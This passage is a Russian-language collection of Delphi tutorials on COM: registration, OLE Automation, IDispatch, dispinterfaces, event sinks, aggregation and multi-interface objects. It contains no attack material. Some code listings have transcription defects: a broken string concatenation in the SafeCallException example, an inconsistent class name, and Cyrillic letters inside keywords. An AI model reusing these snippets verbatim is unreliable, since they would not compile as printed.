      if DllHandle = 0 then begin
        RegDeleteKey(HKEY_CLASSES_ROOT,
          PChar(Format('CLSID\%s',[GUIDToString(CLSID)])));
        RegisterComServer(DllName);
      end;
    end else begin
      RegisterComServer(DllName);
    end;
  except
    raise Exception.CreateFmt('Не могу зарегистрировать %s.', [DllName]);
  end;
end;

В процедуре осуществляется дополнительная проверка наличия на диске файла с зарегистрированным сервером. Если файл не найден по указанному в реестре месту – данные о регистрации удаляются и предпринимается попытка зарегистрировать сервер заново. Такая проверка очень полезна при переносе DLL с сервером в другую папку на диске.


OLE Automation

Стандарт COM основан на едином для всех поддерживающих его языков формате таблицы, описывающей ссылки на методы объекта, реализующего интерфейс. Однако, вызов методов при помощи этой таблицы доступен только для компилирующих языков программирования. В то же время, очень удобно было бы иметь доступ к богатству возможностей, предоставляемых COM из интерпретирующих языков, таких, как VBScript. Для поддержки этих языков была разработана технология под названием OLE Automation, позволяющая приложениям делать свою функциональность доступной для гораздо большего числа клиентов. Automation базируется на COM и является его подмножеством, однако накладывает на COM-серверы ряд дополнительных требований:
1. Интерфейс, реализуемый COM-сервером должен наследоваться от IDispatch
2. Должны использоваться типы данных, из числа поддерживаемых OLE Automation
Тип данных OLE Automation   Тип данных Delphi   Примечание
Boolean   WordBool
Unsigned Char   Byte
Double   Double
Float   Single
Int   SYSINT    Машинно-зависимый целый тип данных, в настоящее время объявлен как Integer, однако, в будущем может иметь другую разрядность
Long   Integer
Short   SmallInt
BSTR   WideString   В Automation нельзя использовать строки Delphi
Currency   Currency
Date   TDateTime
SAFEARRAY   PSafeArray   Массив из элементов любого поддерживаемого типа
Decimal   TDecimal   96 битное десятичное число.
Interface IDispatch *   IDispatch   Ссылка на IDispatch или любой унаследованный от него интерфейс
Interface IUnknown *   IUnknown   Ссылка на произвольный интерфейс
VARIANT   OleVariant   Вариант, совместимый с OLE
Возможна поддержка пользовательских типов данных, для чего необходимо реализовать интерфейс IRecordInfo
1. Все методы должны быть процедурами или функциями, возвращающими значение типа HRESULT
2. Все методы должны иметь соглашение о вызовах safecall
Кроме этого, Automation-серверы могут поддерживать еще ряд интерфейсов, позволяющих получать информацию о методах, обрабатывать ошибки и т.п. Все необходимые интерфейсы реализуются VCL Delphi автоматически.
IDispatch
Центральным элементом технологии OLE Automation является интерфейс IDispatch. Ключевыми методами этого интерфейса являются методы GetIdsOfNames и Invoke, которые позволяют клиенту запросить у сервера, поддерживает ли он метод с указанным именем, а затем, если метод поддерживается – вызвать его. Подробно реализация и работа IDispatch рассматривается в главе, посвященной работе с Mcrosoft Scripting Control, здесь же мы лишь вкратце опишем основной алгоритм вызова методов при помощи IDispatch.
Когда клиенту требуется вызвать метод, он вызывает GetIdsOfNames, передавая ему имя запрошенного метода. Если сервер поддерживает такой метод, он возвращает его идентификатор – целое число, уникальное для каждого метода. После этого клиент упаковывает параметры в массив переменных типа OleVariant и вызывает Invoke, передавая ему массив параметров и идентификатор метода.
Таким образом, все, что должен знать клиент – это строковое имя метода. Такой алгоритм позволяет работать с наследниками IDispatch из скриптовых языков.
Методы GetTypeInfo и GetTypeInfoCount являются вспомогательными и обеспечивают поддержку библиотеки типов объекта. Реализация методов GetIdsOfNames и Invoke, предоставляемая COM по умолчанию базируется на библиотеке типов объекта.
Поддержка IDispatch, тип данных Variant
Delphi имеет встроенную поддержку работы в качестве клиента Automation. Тип данных Variant может содержать ссылку на интерфейс IDispatch и использоваться для вызова его методов.
uses ComObj;

procedure TForm1.Button1Click(Sender: TObject);
var
  V: Variant;
begin
  V := CreateOleObject('InternetExplorer.Application');
  V.Toolbar := FALSE;
  V.Left := (Screen.Width - 600) div 2;
  V.Width := 600;
  V.Top := (Screen.Height - 400) div 2;
  V.Height := 400;
  V.Visible := TRUE;
  V.Navigate(URL := 'file://C:\config.sys');
  V.StatusText := V.LocationURL;
  Sleep(10000);
  V.Quit;
end;
Приведенный выше код весьма необычен и заслуживает внимательного рассмотрения.
1. Переменная V не является классом и, очевидно не имеет ни одного из используемых свойств и методов.
2. Вызываемые свойства и методы нигде не описаны, однако это не вызывает ошибки компиляции.
3. Объект создается не по CLSID, а по информативному имени, функцией CreateOleObject
Все это непривычно и выглядит довольно странно. На самом деле – ничего странного нет. Компилятор Delphi просто запоминает в коде программы строковые описания обращений к серверу автоматизации, а на этапе выполнения передает их его интерфейсу IDispatch, который и производит синтаксический разбор и выполнение. Исправим третью строку функции на:
  V.Left1 := (Screen.Width - 600) div 2;
Программа успешно откомпилируется, однако, при попытке выполнить выдаст ошибку с сообщением, что метод «Left1» не поддерживается сервером автоматизации.
Такое обращение к серверу называется поздним связыванием, что означает, что связывание имен свойств и методов объекта с их кодом происходит не на этапе компиляции, а на этапе выполнения программы.
Достоинства позднего связывания очевидны – не нужна библиотека типов, написание несложных программ упрощается. Столь же очевидны недостатки – не производится контроль вызовов и передаваемых параметров на этапе компиляции, работа несколько медленнее, чем при раннем связывании.
! Если COM-сервер находится в другой «комнате» - затраты на позднее связывание пренебрежимо малы, по сравнению с затратами на маршаллинг вызовов. Разница в скорости между ранним и поздним связыванием становится ощутимой (десятки и сотни раз) при нахождении клиента ми сервера в одной «комнате», что возможно только для In-Proc сервера при совместимой с клиентом потоковой модели. Для Out-Of-Proc сервера (размещенного в отдельном исполнимом файле) затраты на вызов метода практически равны.
В связи с этим главным преимуществом раннего связывания является строгий контроль типов на этапе компиляции. Для разрешения проблемы нестрогого контроля типов COM предлагает несколько дополнительных возможностей
Dispinterface
Dispinterface – это декларация методов, доступных через интерфейс IDispatch. Объявляется он следующим образом:
type
  IMyDisp = dispinterface
    ['{EE05DFE2-5549-11D0-9EA9-0020AF3D82DA}']
    property Count: Integer dispid 1
    procedure Clear dispid 2;
  end;
Самих методов может физически и не существовать (например, они реализуются динамически в Invoke). Рассмотрим использование dispinterface на простом примере. Объявим диспинтерфейс объекта InternetExplorer и используем его в своей программе:
type
  IIE = dispinterface
  ['{0002DF05-0000-0000-C000-000000000046}']
    property Visible: WordBool dispid 402;
  end;

procedure TForm1.Button1Click(Sender: TObject);
var
  II: IIE;
begin
  II := CreateOleObject('InternetExplorer.Application') as IIE;
  II.Visible := TRUE;
end;
Эта программа успешно компилируется и работает, несмотря на то, что в интерфейсе объявлено только одно из множества имеющихся свойств и методов. Это возможно благодаря тому, что Delphi не вызывает методы диспинтерфейса напрямую и, поэтому, не требует полного описания всех методов в правильном порядке. При вызове метода диспинтерфейса Delphi просто вызывает Invoke соответствующего IDispatch, передавая ему идентификатор метода, указанный в dispid. В результате программисту становятся доступна возможность строгого контроля типов при вызове методов IDispatch и вызов методов, реализованных в IDispatch без формирования сложных структур данных для вызова Invoke. Необходимо лишь описать (или импортировать из библиотеки типов сервера) описание диспинтерфейса.
В описании диспинтерфейса допустимо использовать только OLE-совместимые типы данных.
Dual Interfaces
Идея двойных интерфейсов очень проста. Сервер реализует одновременно некоторый интерфейс, оформленный по стандартам COM (VTable) и диспинтерфейс, доступный через IDispatch. При этом интерфейс VTable должен быть унаследован от IDispatch и иметь идентичный с диспинтерфейсом набор методов. Такое оформление сервера позволяет клиентам работать с ним наиболее удобным для каждого клиента образом.
Клиенты, использующие VTable вызывают методы интерфейса напрямую, а клиенты, использубщие позднее связывание – через методы IDispatch.
Большинство OLE-серверов реализуют двойной интерфейс.
Создание Automation серверов
Чтобы создать при помощи Delphi сервер, совместимый с OLE Automation необходимо включить в свое приложение Automation Object. Мастер для его создания запускается при выборе File -> New -> ActiveX -> Automation Object

В поле CoClassName вводится имя создаваемого объекта. Поля Instancing и Threading Model аналогичны рассмотренным выше при создании COM сервера. Наибольший интерес представляет собой флаг Generate Event Support code. В случае, если он задан, генерируется дополнительный код, позволяющий серверу реализовать интерфейс событий. Этот интерфейс описывает события, которые может генерировать сервер. Клиент может зарегистрировать себя в качестве подписчика на эти события и получать уведомления о них. Для того, чтобы понять механизм этого процесса отвлечемся от создания ActiveX сервера и рассмотрим событийную модель COM.
События в COM
При возникновении события в COM-сервере, которое он должен передать клиенту, сервер должен вызвать какой-либо из методов клиента. Фактически, в этот момент клиент с сервером меняются местами. Обращение к клиенту осуществляется при помощи стандартных механизмов COM. Основная идея заключается в том, что сервер, генерирующий события декларирует интерфейс их обработчика. Клиент, подписывающийся на события, должен реализовать этот интерфейс (т.е. фактически должен быть или включать в себя COM-объект, реализующий интерфейс). Кроме этого сервер должен реализовать стандартные интерфейсы COM, позволяющие зарегистрировать на нем обработчик событий. Клиент, используя эти интерфейсы, регистрирует на сервере интерфейс обработчика событий, позволяя серверу вызывать свои методы. Рассмотрим основные интерфейсы, используемые в этом процессе.
type
  IConnectionPointContainer = interface
    ['{B196B284-BAB4-101A-B69C-00AA00341D07}']
    function EnumConnectionPoints(out Enum: IEnumConnectionPoints): HResult;
      stdcall;
    function FindConnectionPoint(const iid: TIID;
      out cp: IConnectionPoint): HResult; stdcall;
  end;
Этот интерфейс должен реализовываться каждым COM-объектом, который позволяет подключаться к своим событиям. Ключевой метод FindConnectionPoint, который получает GUID интерфейса-обработчика и возвращает указатель на соответствующую этому обработчику «точку подключения». Такой подход позволяет серверу иметь несколько интерфейсов для обработки событий и позволять клиентам подключаться к ним по необходимости. В случае успеха метод возвращает S_OK, иначе – код ошибки.
Точка подключения также представляет собой интерфейс:
type
  IConnectionPoint = interface
    ['{B196B286-BAB4-101A-B69C-00AA00341D07}']
    function GetConnectionInterface(out iid: TIID): HResult; stdcall;
    function GetConnectionPointContainer(out cpc: IConnectionPointContainer):
      HResult; stdcall;
    function Advise(const unkSink: IUnknown; out dwCookie: Longint): HResult;
      stdcall;
    function Unadvise(dwCookie: Longint): HResult; stdcall;
    function EnumConnections(out Enum: IEnumConnections): HResult; stdcall;
  end;
Ключевые методы этого интерфейса – Advise и Unadvise.
function Advise(const unkSink: IUnknown; out dwCookie: Longint): HResult;
  stdcall;
Этот метод регистрирует на сервере клиентский интерфейс обработчика событий, который передается в параметре unkSink. Метод возвращает dwCookie – идентификатор подключения, который должен использоваться при отключении обработчика событий. Начиная с этого момента, сервер, при возникновении события, вызывает методы переданного ему интерфейса-обработчика.
function Unadvise(dwCookie: Longint): HResult; stdcall;
Метод Unadvise отключает обработчик от сервера. Теперь, когда мы имеем базовое понимание, как COM реализует обработчики событий, можно продолжить работу над нашим сервером.
Продолжаем создание Automation сервера
Если флаг Generate Event Support code включен, то Delphi автоматически добавляет в библиотеку типов сервера интерфейс IXXXEvents, где XXX – имя Automation объекта

В этот интерфейс Вы должны добавить методы, которые должен реализовать обработчик событий Вашего сервера
Создадим интерфейс обработчика событий с методом TestEvent и метод FireEvent интерфейса IAutoTest.
В сгенерированном файле с реализацией сервера добавим код для вызова обработчика события в метод FilreEvent
procedure TAutoTest.FireEvent;
begin
  if FEvents <> NIL then
    FEvents.TestEvent;
end;
Здесь FEvents - автоматически добавленный Delphi в код сервера интерфейс IAutoTestEvents.
Компилируем и регистрируем сервер аналогично любому другому COM-серверу. Теперь его можно использовать из любого Automation клиента, например из скрипта на Web-странице

<HTML>
 <HEAD>
  <TITLE>Test Page</TITLE>
 </HEAD>
 <BODY LANGUAGE = VBScript ONLOAD = "Page_Initialize">
  <CENTER>
    <OBJECT CLASSID="clsid:344E2D50-7B91-11D4-84DD-97E4E55E3E05" ID=Ctrl1>
    </OBJECT>
    <INPUT TYPE = TEXT NAME = Textbox SIZE=20>
  </CENTER>
  <SCRIPT LANGUAGE = VBScript>
   Sub Page_Initialize
    Ctrl1.FireEvent
   End Sub
   Sub Ctrl1_TestEvent
    MsgBox("Event Fired")
    Textbox.Value = "Hi !"
   End Sub
  </SCRIPT>
 </BODY>
</HTML>
Здесь в качестве Clsid элемента OBJECT необходимо указать содержание константы CLASS_AutoTest из файла Project1_TLB, сгенерированного Delphi. Загрузив эту страницу в Internet Explorer Вы получите сообщение при загрузке страницы.
Создание обработчика событий COM
Для лучшего понимания механизма обработки событий COM создадим программу, обрабатывающую события от нашего сервера. Для этого создадим проект с одной формой и добавим в него объект, реализующий интерфейс IAutoTestEvents. Этот объект реализуется в виде Automation Object

После этого, в редакторе библиотеки типов необходимо произвести следующие действия:
1. Для созданного объекта вводим все методы, имеющиеся в интерфейсе IAutoTestEvents
2. В поле GUID заменяем автоматически сгенерированный идентификатор на содержимое константы DIID_IAutoTestEvents из библиотеки типов объекта IAutoEvents. Если этого не сделать, наш обработчик не удастся зарегистрировать в объекте IAutoEvents.
Нажимаем кнопку «Обновить» и в сгенерированном модуле пишем код обработчика события
procedure TEventSink.TestEvent;
begin
  MessageBox(0, 'Event Fired', NIL, 0);
end;
Обработчик готов, теперь надо добавить в проект код для его использования

Добавляем к классу формы поля для хранения необходимых данных – ссылки на экземпляр обработчика событий, экземпляр объекта, точку подключения и идентификатор подключения.
type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
    EventSink: IEventSink;
    AutoTest: IAutoTest;
    ConnectionPoint: IConnectionPoint;
    Cookie: Integer;
  end;
При создании формы создаем COM-сервер AutoTest и COM-объект обработчика событий
procedure TForm1.FormCreate(Sender: TObject);
var
  Container: IConnectionPointContainer;
begin
  AutoTest := CreateOleObject('Project1.AutoTest') as IAutoTest;
  EventSink := TEventSink.Create as IEventSink;

Запрашиваем у COM-сервера интерфейс IConnectionPointContainer
  Container := AutoTest as IConnectionPointContainer;
Получаем ссылку на точку подключения
  OleCheck(Container.FindConnectionPoint(IEventSink, ConnectionPoint));
И регистрируем в ней свой обработчик
  OleCheck(ConnectionPoint.Advise(EventSink, Cookie));
end;
По окончании работы – отключаем обработчик
procedure TForm1.FormDestroy(Sender: TObject);
begin
  ConnectionPoint.UnAdvise(Cookie);
end;
Все. Теперь можно вызвать метод объекта и убедиться, что обработчик реагирует на события в нем:
procedure TForm1.Button1Click(Sender: TObject);
begin
  AutoTest.FireEvent;
end;

Хорошая новость – проделывать все эти сложные манипуляции не обязательно. Мы сделали это в основном для демонстрации механизмов работы COM. Можно пойти другим, более простым путем. Для этого Вы можете просто импортировать библиотеку типов сервера, поддерживающего события и в мастере импорта библиотеки типов нажать кнопку Install.

После этого на закладку ActiveX палитры компонентов будет помещен компонент для работы с этим сервером, который можно просто положить на форму

При этом сгенерированный компонент Delphi будет иметь обработчики событий для всех событий, объявленных в COM-объекте. Вам останется лишь написать для них свой код. Всю работу по созданию объекта-обработчика, подключению к серверу и трансляции его событий в события компонента VCL Delphi возьмет на себя.


COM. Агрегация и нотификация вообще и для Delphi в частности

Автор: Виталий Маматов
Специально для Королевства Delphi

Вступление.

К написанию данной статьи меня подтолкнула моя недавняя пробежка по вопросам относительно COM. Значительное их число сводилось к непониманию принципов организации агрегирования и нотификации. И, дабы лишний раз не утруждать себя напрасно, было решено, дать такой развёрнутый ответ с примером и сразу для всех.

Про литературу.

Самой полезной книжкой по технологии COM для меня стала неброская книжонка А.Кобирниченко "Visual Studio 6. Искусство программирования". Для примера два одинаковых понятия из тоже хорошей книжки Елмановой и Трепалина "Delphi 4 технология COM" но несколько путаной:
Apartment:

Елманова:
"Можно вызывать методы объекта только из того потока, где объект был создан. При этом одновременно можно создать несколько отличающихся объектов в разных потоках, но каждый объект обязан вызываться только из того потока, где был создан".

Кобирниченко:
"Каждый объект выполняется в своём потоке. Потоков может быть несколько, но всю синхронизацию берёт на себя сама библиотека. Объект, выполняющийся в одном потоке, ничего не знает о других потоках, поэтому может не заботится о многопоточном доступе к своим методам."

Теоретические экскурсы в данной статье, в основном, основаны на книге Кобирниченко.

Часть первая: Теория.

Агрегация.

При агрегировании внешний объект не реализует сам интерфейсы имеющиеся у внутреннего. Вместо этого он передаёт своему клиенту указатель указатель непосредственно на интерфейс внутреннего. Клиент напрямую общается с внутренним объектом. Взамен появляются требования к внутреннему объекту связанные с реализацией IUnknown внутреннего объекта. Все вызовы IUnknown внутреннего объекта должны делегироваться методам IUnknown внешнего объекта.

Нотификация.

Помимо методов реализующих входящие интерфейсы вызываемые клиентом, Объект может объявить исходящие интерфейсы, реализация которых возложена на самого клиента.

Исходящие интерфейсы являются расширением принципа уведомления, реализованного в составных документах всё уведомление в которых построено на IAdviseSink с ограниченным набором событий. Установление соединения на основе этого интерфейса требует всего одного вызова IOleObject::SetAdise.

При использовании точек соединения нужно четыре вызова: QueryInterface для получения IConnectionPointContainer, затем FindConnectionPoint для получения нужной точки соединения, затем Advise для передачи указателя на IUnknown исходящего интерфейса и, наконец, QueryInterface со стороны клиента для получения самого исходящего интерфейса. Вся эта деятельность, особенно в случае DCOM, может занять значительное время. Собственно по этому сама Microsoft рекомендует организовывать уведомление на основе собственных интерфейсов, похожих на IadviseSink, а не на основе точек соединения.

После такого введения, я думаю, вы уже готовы взять в руки инструмент Исследователя - IDE Delphi. В нашем случае ;).

Часть вторая: Махровая практика.

Агрегирование:

После тщательных поисков по Дельфийскому хелпу в данной предметной области, мною было обнаружено следующее: "TAggregatedObject is used as part of an aggregate that has a single controlling Iunknown" И приписка: "Note: For more information about aggregation, controlling objects, and interfaces, see the Inside OLE, second edition, by Kraig Brockschmidt" Ну, второе нам сейчас ни к чему, а вот с первым следует ознакомиться поближе.

Итак, вот он:

TAggregatedObject = class
private
  FController: Pointer;
  function GetController: IUnknown;
protected
  { IUnknown }
  function QueryInterface(const IID: TGUID; out Obj): HResult; stdcall;
  function _AddRef: Integer; stdcall;
  function _Release: Integer; stdcall;
public
  constructor Create(Controller: IUnknown);
  property Controller: IUnknown read GetController;
end;

constructor TAggregatedObject.Create(Controller: IUnknown);
begin
  FController := Pointer(Controller);
end;

function TAggregatedObject.QueryInterface(const IID: TGUID; out Obj): HResult;
begin
  Result := IUnknown(FController).QueryInterface(IID, Obj);
end;

и т.д. В общем ясен перец.

Теперь следующая проблема. Если мы хотим организовывать нашу библиотеку на основе TAutoObject (а нам этого очень хочется, так как по жизни мы ленивы), то, нам следует каким-то образом заставить его воспринимать наш агрегируемый объект. Способ единственный - перекрытие метода TAutoObject::QueryInterface и собственная реализация данного метода. Проблема в том, что понятие полиморфизма к интерфейсным методам неприменимо и вызываемый метод зависит только от типа ссылки на класс.

В ATL эта проблема решается применением шаблонов классов. В результате чего получается, что все методы реализованные в шаблоне _как_бы_ виртуальные. Это здорово придумано, берёшь любой метод, перекрываешь его и никаких гвоздей. Только надо учитывать, что после сборки, на этане выполнения, никакие фокусы с полиморфными вызовами у вас не пройдут.

Однако, вернёмся к нашим баранам. Просматривая, в некотором унынии, предков нашего обожаемого TAutoObject была обнаружена следующая забавная конструкция:

TComObject = class(TObject, IUnknown, ISupportErrorInfo)
  ..
  protected
  { IUnknown }
  function IUnknown.QueryInterface = ObjQueryInterface;
  ..
    function QueryInterface(const IID: TGUID; out Obj): HResult; stdcall;
  ..
  public
  function ObjQueryInterface(const IID: TGUID; out Obj): HResult; virtual;
    stdcall;
  ..
end;

Это явно не спроста, что же получается, уважаемая Borland, виртуализируем QueryInterface, сами забавляемся полученным результатом, а простым бедным программерам ни слова? Некрасиво!

Ну, думаю, с этим моментом также всё ясно, перекрываем ObjQueryInterface и дело в шляпе. Пошли дальше.

Нотификация:

Каждый школьник знает, что приём и передача нотификационных сообщений в COM производится через интерфейс IconnectionPointContainer. Дочитав MSDN до этого места, большинство программеров, тут же всё бросают и начинают реализовывать свою нотификацию на основе этого интерфейса. Но мы не так наивны, мы пойдём другим путём. На самом деле, реализовать собственную нотификацию, гораздо проще, чем это можно подумать. Работает как во внутренних, так и в локальных серверах, а заодно и в удалённых. Впрочем последнее лично не проверял. Идея: см. IAdviseSink, и мой пример по его мотивам.

Взято с http://delphiworld.narod.ru


Как обрабатывать ошибки в COM-объектах

TCustomBasePlugObject = class(TAutoObject, IUnknown, IDispatch)
...
protected
function SafeCallException(ExceptObject: TObject; ExceptAddr:
  Pointer): {$IFDEF _D4_}HResult{$ELSE}Integer{$ENDIF}; override;
...

function TCustomBasePlugObject.SafeCallException;
var
  ExMsg: string;
begin
  Result := inherited SafeCallException(ExceptObject, ExceptAddr);
  try
    if ExceptObject is EAbort then
      exit;
    ExMsg := 'Exception: PlugObject="' if ExceptObject is Exception then
    begin
      ExMsg := ExMsg + #13' Message: '#13' ' +
        Exception(ExceptObject).Message +
        #13' Module:' + GetModuleFileName +
        #13' Adress:' + Format('%p', [ExceptAddr]);
      if (ExceptObject is EOleSysError) and
        (EOleSysError(ExceptObject).ErrorCode < 0) then
        ExMsg := ExMsg + #13'
          OleSysError.ErrorCode =
            '+IntToStr(EOleSysError(ExceptObject).ErrorCode);
    end;
    toLog(ExMsg);
  except
  end;
end;

Взято с http://delphiworld.narod.ru


Как заставить работать COM объекты в потоке?

Если вы используете многопоточное приложение то ActiveX(например ADO компоненты) даже созданные в отдельном потоке могут не хотеть работать корректно, из-за неправильной инициализации. Надо чуть-чуть видоизменить DPR файл - в uses добавить модуль ComObj, а самой первой строкой кода в проэкте должно идти:

CoInitFlags:=0;
Application.Initialize;

Что означает инициализацию COM в каждом потоке

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Создание COM-объектов средствами Delphi

Часть 1
Как преодолеть отсутствие множественного наследования в Delphi.

Все сообщество программистов разделяется по приверженности к той или иной платформе и языку программирования. Один предпочитает Delphi для Windows, другому нравится ассемблер для DOS, третий программирует на Си++ для OS/2. Навыки работы для одной платформы совсем не обязательно станут полезными при переходе на другую, а знание отдельного языка программирования может даже затруднить изучение другого. Все эти преграды можно было бы преодолеть, используя межпроцессное взаимодействие между программами, однако здесь возникает новая трудность - разные формы внутреннего представления данных в этих программах.

Однако есть способ решения этих проблем: применение единого стандарта для организации связи между объектами, который не зависит от используемой платформы и языка. Именно такова разработанная Microsoft компонентная модель объекта COM (Component Object Model). Данная технология уже получила широкое внедрение: ведь на ее базе работают механизмы OLE и ActiveX.

К сожалению, в изданной на текущий момент литературе недостаточно четко отражен тот факт, что программировать для COM-модели можно на самых разных языках. В большинстве примеров, за очень редким исключением, используется Си++. Некоторые примеры ориентированы только на Си++ и средства этого языка для множественного наследования. Другие примеры строятся на основе библиотеки MFC, причем в этом случае настолько интенсивно используются ее специфические макроконструкции для COM, что создается впечатление, будто это вообще не Си. Вывод следующий: если у вас нет опыта работы в Си++, то вам будет трудно разобраться, как программировать для COM.

В этой и следующей за ней статьях мы рассмотрим процесс формирования COM-объектов в среде разработки Borland Delphi. В первой части мы коснемся проблем организации COM-объектов в Delphi и покажем несколько вариантов их решения. Во второй части будут приведены примеры пяти типовых объектов для стандартных надстроек оболочки Windows 95. В отдельных случаях COM-объекты целесообразно хранить как EXE-файлы. Однако в этой статье с целью простоты изложения материала будут рассматриваться лишь COM-объекты, записанные в наиболее часто используемой для них форме DLL-модулей.

Основные понятия о COM-объектах
Что же кроется внутри COM-объекта? Нам совершенно не нужно вникать в это! Весь обмен информацией между COM-объектом и внешним миром осуществляется через конкретные интерфейсы. Каждый из них реализует доступ к одной или нескольким функциям, обратиться к которым может любой объект или программа. Все COM-объекты должны иметь интерфейс IUnknown с тремя его функциями - AddRef, Release и QueryInterface. Функции AddRef и Release отвечают за обычную задачу сопровождения жизненного цикла объекта. При каждом обращении к Addref содержимое счетчика ссылок данного объекта увеличивается на единицу, а при каждом обращении к Release - уменьшается. Когда значение счетчика достигает нуля, объект уничтожается. Практический интерес представляет третья функция интерфейса IUnknown - QueryInterface. Получив доступ к обязательно присутствующему интерфейсу IUnknown, программа или любой другой объект сразу может обратиться к функции QueryInterface и узнать обо всех остальных имеющихся у этого объекта интерфейсах. IUnknown находится на вершине иерархического дерева всех COM-интерфейсов. Любой другой интерфейс фактически наследуется от IUnknown и поэтому также должен обеспечивать доступ ко всем трем IUnknown-функциям.

Понятие объекта как в терминологии COM-модели, так и в Delphi или Си++ имеет практически одинаковый смысл. А вот COM-интерфейс больше напоминает Delphi- или Си++-объект, у которого отсутствуют public-переменные и имеются лишь виртуальные методы. Список функций интерфейса соответствует виртуальной таблице методов Object Pascal или объекта Си++. Создать COM-интерфейс можно средствами практически любого языка: достаточно лишь объявить объект с требуемым списком виртуальных методов. Само собой разумеется, что задаваемые определения методов должны в точности соответствовать определениям функций в самих интерфейсах. Однако, кроме того, необходимо соблюдать правильный порядок их размещения в виртуальной таблице. Сказанное означает, что эти определения следуют в заданном порядке, а перед ними нет никаких других виртуальных методов.

В файле OLE2.PAS, входящем в комплект Delphi 2.0, показано, как давать определение типу интерфейсного объекта для IUnknown и для нескольких десятков других, производных от IUnknown интерфейсов, например IClassFactory, IMarshal и IMalloc. Каждому методу, входящему в состав этих интерфейсных объектов, дается такое определение, как virtual, stdcall или abstract. Пояснение, зачем указывается virtual, уже было дано. Ключевое слово stdcall сообщает компилятору, что вызов данного метода следует производить по стандартным правилам. Слово abstract указывает, что функциональная часть данного метода в текущем объекте отсутствует, но она должна присутствовать у некоторого дочернего объекта, для которого будет создаваться его экземпляр. В файле OLE2.PAS дается определение для более чем 50 интерфейсов, непосредственно наследуемых от IUnknown, причем каждый из них предоставляет как собственный интерфейс, так и IUnknown.

Однако из-за необходимости иметь для COM-объекта два или более интерфейса, не считая IUnknown, возникает одна проблема. В Си++ достаточно дать определение COM-объекту как многократно наследуемому от тех объектов, где требуемые интерфейсы содержатся. Однако для объектов Delphi возможность множественного наследования не допускается. Поэтому приходится искать иное решение. (К сведению программистов на Си++: при создании COM-объектов на базе MFC применяется технология, аналогичная описываемой здесь для Delphi. Эта особенность остается незамеченной на фоне великого множества макроконструкций, которые используются при определении COM-объекта средствами MFC.)

Сателлиты и контейнеры
Ключевой фактор создания в Delphi COM-объекта с несколькими интерфейсами состоит в том, что объект рассматривается как передающий контейнер этих интерфейсов. Совсем не обязательно иметь их внутри данного COM-объекта. Необходимо лишь при запросе, когда вызывается метод QueryInterface его интерфейса IUnknown предоставлять доступ к нужному интерфейсу. Такой COM-объект, созданный в Delphi, может лишь непосредственно обслуживать три свои функции IUnknown, а при запросе через QueryInterface интерфейса IUnknown, передавать указатель на самого себя. Он действует как передаточный механизм и распорядитель других объектов, имеющих свои интерфейсы. Такие интерфейсные объекты-сателлиты отображают свои три IUnknown-метода на общий объект-контейнер. Если приходит запрос на один из сателлитных интерфейсов (как правило, через метод QueryInterface), контейнер передает указатель на соответствующий объект-сателлит. На листинге показан пример, как средствами Delphi можно создать такие интерфейсные объекты с типами сателлит и контейнер, а также как подготовить соответствующий интерфейс IClassFactory.

Листинг. С помощью этих обобщенных объектов с описанием интерфейсов можно создавать в среде Delphi COM-объекты с несколькими интерфейсами.

unit DelphCom;
// "Обобщенные" объекты. Предназначены для создания COM-объектов
// в Delphi. ISatelliteUnknown - интерфейсный объект, который
// будет обслуживаться через IContainerUnknown. Любой реальный
// COM-объект с несколькими интерфейсами
// будет наследоваться из IContainerUnknown и содержать
// функцию QueryInterface.
interface
uses Windows, Ole2, Classes, SysUtils, ShellApi, ShlObj;

var DllRefCount : Integer;
type
  IContainerUnknown = class;

ISattelliteUnknown = class(IUnknown)
  // Этот интерфейс будет обслуживаться через IContainerUnknown.
// Отображает три IUnknown-функции на свой объект-контейнер.
protected
  fContainer : IContainerUnknown;
public
  constructor Create(vContainer : IContainerUnknown);
  function QueryInterface(const WantIID: TIID;
    var ReturnedObject): HResult; override;
  function AddRef: Longint; override;
  function Release: Longint; override;
end;

IContainerUnknown = class (IUnknown)
protected
  FRefCount : Integer;
public
  сonstructor Create;
  destructor Destroy; override;
  (IUnknown-функции)
  function QueryInterface(const WantIID: TIID;
    var ReturnedObject): HResult; override;
  function AddRef: LongInt; override;
  function Release: LongInt; override;
end;

IMyClassFactory = сlass(IClassFactory)
private
  FRefcount : Integer;
public
  constructor Create;
  destructor Destroy; override;
  function QueryInterface(const WantIID: TIID;
    var ReturnedObject): HResult; override;
  function AddRef: LongInt; override;
  function Release: LongInt; override;
// В дочернем объекте должно быть дано определение
// для функции CreateInstance
  function LockServer(fLock: BOOL):
      HResult; override;
end;

function DLLCanUnloadNow : HResult; StdCall; Export;
implementation

(****** ISatelliteUnknown *****)
constructor ISatelliteUnknown.Create(vContainer:
    IContainerUnknown);
begin fContainer := vContainer; end;

function ISatelliteUnknown.QueryInterface(const WantIID: TIID;
    var ReturnedObject): HResult;
begin
  Result := fContainer.QueryInterface(WantIid,
      ReturnedObject);
end;

function ISatelliteUnknown.AddRef: LongInt;
begin Result := fContainer.AddRef; end;

function ISatelliteUnknown.Release: LongInt;
begin Result := fContainer.Release; end;

(****** IContainerUnknown ******)
constructor  IContainerUnknown.Create;
begin
  inherited Create;
  FRefCount := 0;
  Inc(DllRefCount);
end;

destructor IContainerUnknown.Destroy;
begin
  Dec(DllRefCount);
  inherited Destroy;
end;

function IContainerUnknown.QueryInterface(const WantIID: TIID;
    var ReturnedObject): HResult;
var P : IUnknown;
begin
  if IsEqualIID(WantIID, IID_IUnknown) then P := Self
  else P:= nil;
  Pointer(ReturnedObject) := P;
  if P = nil then Result := E_NOINTERFACE
  else begin
      P.AddRef;
      Result := S_OK;
  end;
end;

function IContainerUnknown.AddRef: LongInt;
begin Inc(FRefCount); Result := FRefCount; end;

function IContainerUnknown.Release: LongInt;
begin
  Dec(FRefCount);
  Result := FRefCount;
  if FRefCount = 0 then Free;
end;

(****** IMyClassFactory ******)
constructor IMyClassFactory.Create;
begin
  inherited Create;
  Inc(DllRefCount);
  FRefCount := 0;
end;

destructor IMyClassFactory.Destroy;
begin
  Dec(DllRefCount);
  inherited Destroy;
end;

function IMyClassFactory.QueryInterface(const WantIID: TIID;
    var ReturnedObject): HResult;
begin
  if IsEqualIID(WantIiD, IID_IUnknown) or
      IsEqualIID(WantIiD, IID_IClassFactory) then
  begin
      Pointer(ReturnedObject) := Self;
      AddRef;
      Result := S_OK;
